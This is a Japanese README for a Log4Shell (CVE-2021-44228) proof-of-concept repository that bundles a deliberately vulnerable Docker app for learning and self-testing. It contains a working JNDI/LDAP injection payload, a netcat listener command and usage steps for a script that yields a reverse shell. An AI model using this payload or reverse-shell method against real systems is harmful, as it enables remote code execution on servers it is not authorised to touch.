
CVE-2021-44228脆弱性の概念実証
最近発見されたCVE-2021-44228脆弱性の概念実証(PoC)です。
最近、log4j(Javaのログライブラリ)に新たな脆弱性が発見されました。log4jはElasticsearch、Minecraftなど非常に多くのアプリケーションで広く使用されています。
このリポジトリには、脆弱なサンプルアプリケーションとその概念実証(PoC)エクスプロイトが含まれています。
PoCとして、プロセスを自動化するPythonファイルがあります。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 であり、同じディレクトリにある必要があります。$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
このスクリプトはHTTPサーバーとLDAPサーバーをセットアップし、脆弱なパラメータに貼り付けるためのペイロードも作成します。その後、すべてがうまくいけば、指定したlportでシェルを取得できるはずです。
脆弱なWebアプリケーションを含むDockerfileがあります。以下の手順で使用できます:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
実行後、localhost:8080でアクセスできます。
Oracleは過去のすべてのJavaバージョンのアーカイブを提供しています:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
8u20までスクロールし、お使いのOSとハードウェアに合ったファイルをダウンロードしてください。

注意: パッケージをダウンロードするにはアカウントを作成する必要があります。
アーカイブをダウンロードして展開すると、jdk1.8.0_20/bin に java と関連するバイナリが含まれています。
注意: 動作させるには、jdkフォルダをこのリポジトリ内に同じ名前で展開してください。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
このリポジトリはCVE-2021-44228に対するワンクリックエクスプロイトを意図していません。このプロジェクトの目的は、この脆弱性について学んだり、自身のアプリケーションをテストしたりするのを支援することです(ただし、この目的にはより適したアプリケーションもあります。例:https://log4shell.tools/)。